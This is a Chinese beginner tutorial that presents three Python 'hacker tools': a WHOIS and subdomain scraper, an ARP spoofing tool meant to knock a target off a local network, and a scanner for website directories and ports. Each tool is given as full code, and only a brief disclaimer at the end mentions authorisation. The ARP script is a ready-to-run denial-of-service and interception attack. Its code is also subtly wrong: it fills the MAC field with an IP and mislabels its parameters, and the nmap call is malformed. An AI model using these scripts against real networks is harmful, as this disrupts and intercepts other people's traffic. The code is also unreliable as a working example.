新手Python黑客工具入门
字数 1141 2025-08-18 11:37:02
Python黑客工具入门教学文档
前言
本教学文档旨在为Python初学者提供三个基础网络安全工具的编写方法,包括WHOIS信息收集器、ARP断网攻击工具和目录信息收集工具。这些工具可以帮助新手理解Python在网络安全领域的应用。
一、WHOIS信息收集器
功能概述
该工具用于收集指定域名的以下信息:
- IP信息
- 子域名
- 备案信息
- 注册人信息
- 邮箱
- 地址
- 电话
- DNS记录
技术要点
- 使用
requests模块发送HTTP请求 - 使用
BeautifulSoup解析HTML内容 - 从
ip138.com网站抓取数据
代码实现
import requests
import time
from bs4 import BeautifulSoup
# 计时开始
start = time.time()
def chax():
# 用户输入查询域名
lid = input('请输入你要查询的域名:')
# 设置请求头
head = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'
}
# 构造查询URL
url = "http://site.ip138.com/{}/".format(lid)
urldomain = "http://site.ip138.com/{}/domain.htm".format(lid)
url2 = "http://site.ip138.com/{}/beian.htm".format(lid)
url3 = "http://site.ip138.com/{}/whois.htm".format(lid)
# 发送请求
rb = requests.get(url, headers=head)
rb1 = requests.get(urldomain, headers=head)
rb2 = requests.get(url2, headers=head)
rb3 = requests.get(url3, headers=head)
# 解析IP解析记录
gf = BeautifulSoup(rb.content, 'html.parser')
print('[+]IP解析记录')
for x in gf.find_all('p'):
link = x.get_text()
print(link)
# 解析子域名
gf1 = BeautifulSoup(rb1.content, 'html.parser')
print('[+]子域名查询')
for v in gf1.find_all('p'):
link2 = v.get_text()
print(link2)
# 解析备案信息
gf2 = BeautifulSoup(rb2.content, 'html.parser')
print('[+]备案查询')
for s in gf2.find_all('p'):
link3 = s.get_text()
print(link3)
# 解析WHOIS信息
gf3 = BeautifulSoup(rb3.content, 'html.parser')
print('[+]whois查询')
for k in gf3.find_all('p'):
link4 = k.get_text()
print(link4)
chax()
# 计时结束
end = time.time()
print('查询耗时:', end-start)
使用说明
- 安装依赖:
pip install requests beautifulsoup4 - 运行脚本并输入要查询的域名
- 程序将从ip138.com获取相关信息并显示
二、ARP断网攻击工具
攻击原理
ARP攻击通过伪造IP地址与MAC地址实现ARP欺骗,在网络中发送大量ARP通信量。攻击者持续发送ARP包可造成中间人攻击或断网攻击。
技术要点
- 使用
scapy库构造和发送网络数据包 - 获取目标MAC地址
- 构造ARP响应包
代码实现
import os
import sys
from scapy.layers.l2 import getmacbyip
from scapy.all import (Ether, ARP, sendp)
# 查看网络接口
ifconfig = os.system('ifconfig')
print(ifconfig)
# 用户输入
gmac = raw_input('Please enter gateway IP:')
liusheng = raw_input('Please enter your IP:')
liusrc = raw_input('Please enter target IP:')
try:
# 获取目标MAC地址
tg = getmacbyip(liusrc)
print(tg)
except Exception as f:
print('[-]{}'.format(f))
exit()
def arpspoof():
try:
# 构造以太网帧和ARP包
eth = Ether()
arp = ARP(
op="is-at", # ARP响应
hwsrc=gmac, # 网关MAC
psrc=liusheng, # 网关IP
hwdst=tg, # 目标MAC
pdst=liusrc # 目标IP
)
# 显示构造的包
print((eth/arp).show())
# 发送ARP包
sendp(eth/arp, inter=2, loop=1)
except Exception as g:
print('[-]{}'.format(g))
exit()
arpspoof()
使用说明
- 安装scapy:
pip install scapy(Python 2) 或pip install scapy3(Python 3) - 推荐在Linux系统(Kali, CentOS, Ubuntu)下运行
- 运行时需要输入网关IP、本机IP和目标IP
- 程序将不断发送ARP欺骗包
三、目录信息收集工具
功能概述
该工具用于收集目标网站的信息,包括:
- HTTP指纹
- robots.txt检查
- 目录扫描
- 端口扫描
- WHOIS查询
- IP反查域名
技术要点
- 使用
requests获取HTTP头部信息 - 通过HTTP响应码判断资源存在性
- 使用
os模块调用系统命令(nmap) - 使用
socket模块进行DNS查询
代码实现
import requests
import os
import socket
from bs4 import BeautifulSoup
import time
# 全局变量
lgr = ""
# 获取HTTP指纹
def Webfingerprintcollection():
global lgr
lgr = input('请输入目标域名:')
url = "http://{}".format(lgr)
header = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'
}
r = requests.get(url, headers=header)
xyt = r.headers
for key in xyt:
print(key, ':', xyt[key])
Webfingerprintcollection()
print('='*50)
# 检查robots.txt
def robots():
urlsd = "http://{}/robots.txt".format(lgr)
header = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'
}
gf = requests.get(urlsd, headers=header, timeout=8)
if gf.status_code == 200:
print('robots.txt存在')
print('[+]该站存在robots.txt', urlsd)
else:
print('[-]没有robots.txt')
robots()
print("="*50)
# 目录扫描
def Webdirectoryscanner():
dict = open('build.txt', 'r', encoding='utf-8').read().split('\n')
for xyt in dict:
try:
header = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'
}
urljc = "http://" + lgr + "{}".format(xyt)
rvc = requests.get(urljc, headers=header, timeout=8)
if rvc.status_code == 200:
print('[*]', urljc)
except:
print('[-]远程主机强迫关闭了一个现有的连接')
Webdirectoryscanner()
print("="*50)
# 获取IP地址
s = socket.gethostbyname(lgr)
# 端口扫描
def portscanner():
o = os.system('nmap {} program'.format(s))
print(o)
portscanner()
print('='*50)
# WHOIS查询
def whois():
heads = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'
}
urlwhois = "http://site.ip138.com/{}/whois.htm".format(lgr)
rvt = requests.get(urlwhois, headers=heads)
bv = BeautifulSoup(rvt.content, "html.parser")
for line in bv.find_all('p'):
link = line.get_text()
print(link)
whois()
print('='*50)
# IP反查域名
def IPbackupdomainname():
wu = socket.gethostbyname(lgr)
rks = "http://site.ip138.com/{}/".format(wu)
rod = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36'
}
sjk = requests.get(rks, headers=rod)
liverou = BeautifulSoup(sjk.content, 'html.parser')
for low in liverou.find_all('li'):
bc = low.get_text()
print(bc)
IPbackupdomainname()
print('='*50)
使用说明
- 安装依赖:
pip install requests beautifulsoup4 - 准备一个目录字典文件
build.txt - 确保系统已安装nmap
- 运行脚本并输入目标域名
- 程序将依次执行各项信息收集功能
注意事项
- 这些工具仅用于教育目的,未经授权对他人系统进行扫描或攻击是违法行为
- ARP攻击会干扰网络通信,请在实验环境中使用
- 频繁扫描他人网站可能触发安全机制或被封禁IP
- 使用这些工具前请确保已获得必要的授权
扩展学习
- 深入学习Python网络编程
- 了解网络安全基础知识
- 研究更高级的信息收集技术
- 学习如何防御ARP欺骗攻击
- 探索其他网络安全工具的开发
通过这三个工具的实践,初学者可以掌握Python在网络安全领域的基本应用,为进一步学习打下坚实基础。